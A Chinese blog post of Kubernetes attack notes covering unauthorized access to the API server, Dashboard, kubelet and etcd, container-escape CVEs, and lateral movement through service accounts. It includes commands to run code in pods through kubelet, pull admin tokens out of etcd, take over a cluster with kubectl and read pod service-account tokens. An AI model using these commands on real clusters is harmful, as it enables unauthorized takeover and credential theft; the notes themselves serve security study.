Kubernetes学习笔记

最新推荐文章于 2024-04-28 18:49:44 发布
最新推荐文章于 2024-04-28 18:49:44 发布
阅读量191 收藏 1
点赞数
文章标签： kubernetes 学习 docker 容器 运维
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/sinat_35360663/article/details/127613647
版权

Kubernetes

kubernetes，简称 K8s,是 Google 开源的一个容器编排引擎，它支持自动化部署、大规模可伸缩、应用容器化管理。在生产环境中部署一个应用程序时，通常要部署该应用的多个实例以便对应用请求进行负载均衡。

官网 : https://kubernetes.io/

Fofa : app="kubernetes"

kubectl使用

相关文章

相关案例

未授权

Kubernetes Api Server 未授权访问

  • 漏洞描述

    Kubernetes API Server 可以在两个端口上提供了对外服务：8080(insecure-port，非安全端口)和 6443(secure-port，安全端口)，其中 8080 端口提供 HTTP 服务且无需身份认证，6443 端口提供 HTTPS 服务且支持身份认证 (8080 和 6443 端口并不是固定的，是通过配置文件来控制的)。

    如果 8080 在外部环境中被暴露出来，攻击者便可以利用此端口进行对集群的攻击, 前提条件略显苛刻(配置失当 + 版本较低)，首先 8080 端口服务是默认不启动的，但如果用户在 /etc/kubernets/manifests/kube-apiserver.yaml 中有 --insecure-port=8080 配置项，那就启动了非安全端口，有了安全风险。1.20版本后该选项已无效化.

    若我们不带任何凭证的访问 API server 的 secure-port 端口，默认会被服务器标记为 system:anonymous 用户, 一般 system:anonymous 用户权限是很低的，但是如果运维人员管理失当，将 system:anonymous 用户绑定到了 cluster-admin 用户组，那么就意味着 secure-port 允许匿名用户以管理员权限向集群下达命令。

  • 相关文章

Kubernetes Dashboard 未授权访问

  • 漏洞描述

    Kubernetes Dashboard 是一个通用的，基于 Web 的 Kubernetes 集群用户界面。它允许用户管理集群中运行的应用程序，并对其进行故障排除，以及管理集群本身。在其早期版本中(v1.10.1 之前)存在未授权访问风险，用户在按照官方文档所给方式部署完成后，默认下，需要先执行 kubectl proxy，然后才能通过本地 8001 端口访问 Dashboard。但是，如果直接将 Dashboard 端口映射在宿主机节点上，或者在执行 kubectl proxy 时指定了额外地址参数，如：

    kubectl proxy --address 0.0.0.0 --accept-hosts='^*$'

    那么所有能够访问到宿主机的用户，包括攻击者，都将能够直接访问 Dashboard。

    默认情况下 Dashboard 需要登录认证，但是，如果用户在 Dashboard 的启动参数中添加了 --enable-skip-login 选项，那么攻击者就能够直接点击 Dashboard 界面的 “跳过” 按钮，无需登录便可直接进入 Dashboard。关于如何设置 --enable-skip-login ，在 v1.10.1 前，实则是无需配置的，通过在 Kubernetes Dashboard 的 Web 登录界面点击 “跳过” 按钮即可访问，也是因为这个原因，安全意识较为薄弱的用户直接将早期版本以默认的配置方式部署在互联网上使得攻击者无需花费丝毫力气就可以轻易浏览到 Kubernetes 集群的运行状态，因而在 v1.10.1 版本后，开发团队增加了显式配置的功能，需要用户在相应部署的 yaml 文件中指定 --enable-skip-login 参数配置才能开启未授权访问。

kubelet 未授权访问

  • 漏洞描述

    kubelet 是在 Node 上用于管理本机 Pod 的，kubectl 是用于管理集群的。kubectl 向集群下达指令，Node 上的 kubelet 收到指令后以此来管理本机 Pod。

    Kubelet 服务启动后会监听多个端口，用于接收 Kubernetes API Server 组件发送的请求

    • 10248 : Kubelet healthz 的服务端口，用于判断 Kubelet 组件的健康状态，已于 Kubernetes v1.16 版本后弃用，访问该端口默认需要认证授权
    • 10250 : Kubelet 的 HTTPS 服务，读写端口，提供 Kubernetes 基本资源运行状态， 访问该端口默认需要认证授权
    • 10255 : Kubelet 的 HTTP 服务，只读端口，提供只读形式的 Kubernetes 基本资源运行状态，该端口无需进行认证授权，默认为禁用
    • 4194 : cAdvisor 的 HTTP 服务端口，自 Kubernetes v1.10 版本开始，官方去除了 --cadvisor-port 参数配置，不再支持对 cAdvisor 的访问

    kubelet 对应的 API 端口默认在 10250，运行在集群中每台 Node 上，kubelet 的配置文件在 node 上的 /var/lib/kubelet/config.yaml

    配置文件中 authentication 选项用于设置 kubelet api 能否被匿名访问，authorization 选项用于设置 kubelet api 访问是否需要经过 Api server 进行授权, 如果把 authentication-anonymous-enabled 改为 true，authorization-mode 改为 AlwaysAllow，再使用命令 systemctl restart kubelet 重启 kubelet，那么就存在 kubelet 未授权访问

  • POC | Payload | exp

    # 如果有 kubelet 未授权，可以用以下命令在 Pod 内执行命令

curl https://node_ip:10250/pods
curl -XPOST -k https://node_ip:10250/run/<namespace>/<PodName>/<containerName> -d "cmd=command"

/pods
/runningpods
/metrics
/spec
/stats
/stats/container
/logs
/run/
/exec/
/attach/
/portForward/
/containerLogs/

  • kubeconfig 泄露

    kubectl --kubeconfig=config --insecure-skip-tls-verify=true get pods --all-namespaces -o wide

etcd 未授权

  • 漏洞描述

    etcd 是 k8s 集群中的数据库组件，默认监听在 2379 端口. 如果 2379 存在未授权，那么就可以通过 etcd 查询集群内管理员的 token，然后用这个 token 访问 api server 接管集群。

    在启动 etcd 时，如果没有指定 --client-cert-auth 参数打开证书校验，并且没有通过iptables/防火墙等实施访问控制，etcd 的接口和数据就会直接暴露给外部黑客 "

    下载 https://github.com/etcd-io/etcd/releases/

    etcdctl --endpoints=https://etcd_ip:2379/ get / --prefix --keys-only
# 查询管理员 token
etcdctl --endpoints=https://etcd_ip:2379/ get / --prefix --keys-only | grep /secrets/
# 在 etcd 里查询管理员的 token，然后使用该 token 配合 kubectl 指令接管集群
etdctl --endpoints=https://etcd_ip:2379/ get /registry/secrets/default/admin-token-xxxxx
# 拿到 token 以后，用 kubectl 接管集群
kubectl --insecure-skip-tls-verify -s https://master_ip:6443/ --token="xxxxxx" get nodes

# 如果要求证书文件,需要将以下文件加入环境变量才能访问(如果有未授权，那么不用带证书都能访问)
export ETCDCTL_CERT=/etc/kubernetes/pki/etcd/peer.crt
export ETCDCTL_CACERT=/etc/kubernetes/pki/etcd/ca.crt
export ETCDCTL_KEY=/etc/kubernetes/pki/etcd/peer.key

中间人攻击

CVE-2020-8554

容器逃逸

目录挂载逃逸

挂载 /var/log 导致容器逃逸

  • 漏洞描述

    当 pod 以可写权限挂载了宿主机的 /var/log 目录，而且 pod 里的 service account 有权限访问该 pod 在宿主机上的日志时，攻击者可以通过在容器内创建符号链接来完成简单逃逸。

  • 相关文章

滥用CAP_DAC_READ_SEARCH(shocker攻击)导致容器逃逸

  • 漏洞描述

    在早期的 docker 中，容器内是默认拥有 CAP_DAC_READ_SEARCH 的权限的，拥有该 capability 权限之后，容器内进程可以使用 open_by_handle_at 系统调用来爆破宿主机的文件内容。

  • 相关文章

CVE-2017-1002101

  • 漏洞描述

    Kubernetes 在宿主机文件系统上解析了 Pod 滥用 subPath 机制创建的符号链接，故而宿主机上任意路径(如根目录)能够被挂载到攻击者可控的恶意容器中，导致容器逃逸。

  • 相关文章

CVE-2021-25741

CVE-2021-30465

CVE-2022-0811 容器逃逸漏洞

  • 漏洞描述

    CrowdStrike 的云威胁研究团队在 CRI-O(一个支撑 Kubernetes 的容器运行时引擎) 中发现了一个新的漏洞 (CVE-2022-0811)，被称为 “cr8escape”。攻击者在创建容器时可以从 Kubernetes 容器中逃离，并获得对主机的根访问权，从而可以在集群中的任何地方移动。调用 CVE-2022-0811 可以让攻击者对目标执行各种操作，包括执行恶意软件、数据外溢和跨 pod 的横向移动。

  • 影响范围

    CRI-O > 1.19.0

  • 相关文章

提权

CVE-2018-1002105

CVE-2020-8559

  • 漏洞描述

    CVE-2020-8559 是一个针对 Kubernetes 的权限提升漏洞，攻击者可以截取某些发送至节点 kubelet 的升级请求，通过请求中原有的访问凭据转发请求至其他目标节点，从而造成节点的权限提升.

  • 相关文章

横向

利用 Service Account 连接 API Server 执行指令

  • https://tttang.com/archive/1465/#toc_service-accountapi-server

    k8s 有两种账户：用户账户和服务账户，用户账户被用于人与集群交互(如管理员管理集群)，服务账户用于 Pod 与集群交互(如 Pod 调用 api server 提供的一些 API 进行一些活动)

    如果我们入侵了一台有着高权限服务账户的 Pod，我们就可以用它对应的服务账户身份调用 api server 向集群下达命令。

    pod 的 serviceaccount 信息一般存放于 /var/run/secrets/kubernetes.io/serviceaccount/ 目录下

    CA_CERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
curl --cacert $CA_CERT -H "Authorization: Bearer $TOKEN" "https://api_server_ip:6443/version/"

DOS

相关文章

点击关注，共同学习！安全狗的自我修养

github haidragon

https://github.com/haidragon

C-haidragon
关注
  • 0
    点赞
  • 踩
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
Kubernetes学习笔记-未整理
生息之地
03-03 551
Kubernetes学习笔记 标签：Kubernetes 学习笔记 来源 《Kubernetes权威指南》-电子工业出版社 Kubernetes handBook中第3篇，概念与原理 Kubernetes架构 组件介绍 Master Master节点上面主要由四个模块组成：APIServer、scheduler、controller manager、etcd APIServer:APISer...
c#毕业设计源码下载-c:kubernetes的官方C客户端库。工作正在进行中
05-19
c＃毕业设计源码下载Kubernetes C客户端库 这是用于C编程语言的官方Kubernetes客户端库。 这是一项正在进行中的工作，目前应被视为Alpha质量软件。 建立图书馆 # Clone the repo git clone https://github.com/kubernetes-client/c CLIENT_REPO_ROOT= ${PWD} /c # Install pre-requisites sudo apt-get install libssl-dev libcurl4-openssl-dev uncrustify libyaml-dev # Move into the Kubernetes directory cd ${CLIENT_REPO_ROOT} /kubernetes # Build mkdir build cd build cmake -DCMAKE_INSTALL_PREFIX=/usr/local/lib .. make sudo make install 建立一个例子 cd ${CLIENT_REPO_ROOT} /examples/lis
Kubernetes 学习笔记
王珂的专栏
03-21 534
Kubernetes是一个全新的基于容器技术的分布式架构领先方案，是谷歌严格保密十几年的密码武器**Borg**系统的一个开源版本，与2014年9月发布第一个版本，2015年7月发布第一个正式版本。[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-rRW0aNF1-1679383666232)(file://C:\Users\Soosky\AppData\Roaming\marktext\images\2023-03-03-16-32-17-image.png?
Kubernetes学习笔记01
最新发布
sjdhdbjd的博客
04-28 917
Kubernetes 是一个轻便的和可扩展的开源平台，用于管理容器化应用和服务。通过Kubernetes 能够进行应用的自动化部署和扩缩容。在 Kubernetes 中，会将组成应用的容器组合成一个逻辑单元以更易管理和发现。Kubernetes 积累了作为 Google 生产环境运行工作负载 15 年的经验，并吸收了来自于社区的最佳想法和实践。
Kubernetes详细笔记
热门推荐
写代码的渣渣苏
04-24 3万+
文章目录Kubernetes一、Kubernetes介绍1.1、应用部署方式演变1.2、kubernetes简介1.3、kubernetes组件1.4、kubernetes概念二、集群环境搭建2.1、环境规划2.1.1、集群类型2.1.2、安装方式2.1.3、主机规划2.2、环境搭建2.2.1、主机安装2.2.2、环境初始化2.2.3、安装docker2.2.4、安装Kubernetes组件2.2.5、准备集群镜像2.2.6、集群初始化2.2.7、安装网络插件2.3 集群测试2.7.1 创建一个nginx服
Kubernetes学习笔记，K8S学习
02-01
Kubernetes，简称K8S，是一种流行的容器编排系统，用于自动化容器化应用的部署、扩展和管理。在Kubernetes中，Pod是最基本的部署...学习Kubernetes不仅可以提升运维效率，也是适应现代云原生应用开发趋势的重要一步。
Kubernetes架构学习笔记
02-25
Kubernetes是Google开源的容器集群管理系统，其提供应用部署、维护、扩展机制等功能，利用Kubernetes能方便地管理跨机器运行容器化的应用，是Docker分布式系统的解决方案。k8s里所有的资源都可以用yaml或Json定义。...
kubernetes完整学习笔记
weixin_47027340的博客
06-02 2398
k8s完整学习笔记
kubernetes(K8S) 容器管理“扫盲“ 学习笔记
山河已无恙
06-15 2775
太多人活得不像自己。思想是别人的意见,生活是别人的模仿,情感是别人的引述。----王尔德
kubernetes学习笔记
qq_43427354的博客
02-07 1796
一、kubernetes介绍 K8s，用于自动化容器化应用程序的部署、扩展和管理。kubernetes本质是一组服务器集群，它可以在集群的每个节点上运行特定的程序，来对节点中的容器进行管理。目的是实现资源管理的自动化，主要提供了如下的主要功能： 1、功能特点： 自我修复：如果某个容器挂了，它会在1秒内启动新的容器； 弹性收缩：可以根据流量的大小自动的启停服务； 服务发现：服务可以通过自动发现的形式找到它依赖的服务； 负载均衡：如果一个服务启动了多个，能够自动实现请求的负载均衡； 版本回退：如果发下新发布的程
Kubernetes基础部分学习笔记
棉花泡泡糖的博客
07-19 580
我们使用（namespace简写）获取命名空间信息使用是找不到任何资源的，因为这个是在默认在命名空间“default”里面找部署的容器资源，我们没在这里部署，所以是空的。需要使用，获取所有命名空间的资源使用-n可以指定命名空间查询默认的这些命名空间不要删（也不允许删）.........
超详细！Kubernetes 学习笔记总结
果子哥丶的博客
04-13 1552
1、K8S 是什么，即作用和目的。涉及 K8S 架构的整理，Master 和 Node 之间的关系，以及 K8S 几个重要的组件：API Server、Scheduler、Controller、etcd 等。2、K8S 的重要概念，即 K8S 的 API 对象，也就是常常听到的 Pod、Deployment、Service 等。3、如何配置 kubectl，介绍kubectl工具和配置办法。4、如何用kubectl 部署服务。5、如何用kubectl 查看、更新/编辑、删除服务。6、如何用kubectl
最详细的 K8S 学习笔记总结（2021最新版）
CSDN_KONGlX的博客
07-07 1965
.markdown-body { line-height: 1.75; font-weight: 400; font-size: 16px; overflow-x: hidden; color: rgba(51, 51, 51, 1) } .markdown-body h1, .markdown-body h2, .markdown-body h3, .markdown-body h4, .ma...
这份Kubernetes学习笔记，看完直呼NB
老男孩的架构路
08-27 236
Kubernetes(简称：k8s)是Google开源的容器集群管理系统，是一个全新的基于容器技术的分布式架构领先方案，简单来说K8S是容器编排管理平台。在Docker技术的基础上，为容器化的应用提供部署运行、资源调度、服务发现和动态伸缩等一系列完整功能，提高了大规模容器集群管理的便捷性。毫无疑问，Kubernetes已经成为容器领域当之无愧的事实标准。......
Kubernetes学习笔记：从基础到网络详解
Kubernetes学习笔记是基于Google的Borg系统所发展出的一款开源的容器编排和调度平台，其目标是实现资源管理和跨数据中心的高效利用。本文档详细记录了作者陈瑶在2018年对Kubernetes的学习心得，主要涵盖以下几个关键...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

C-haidragon

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值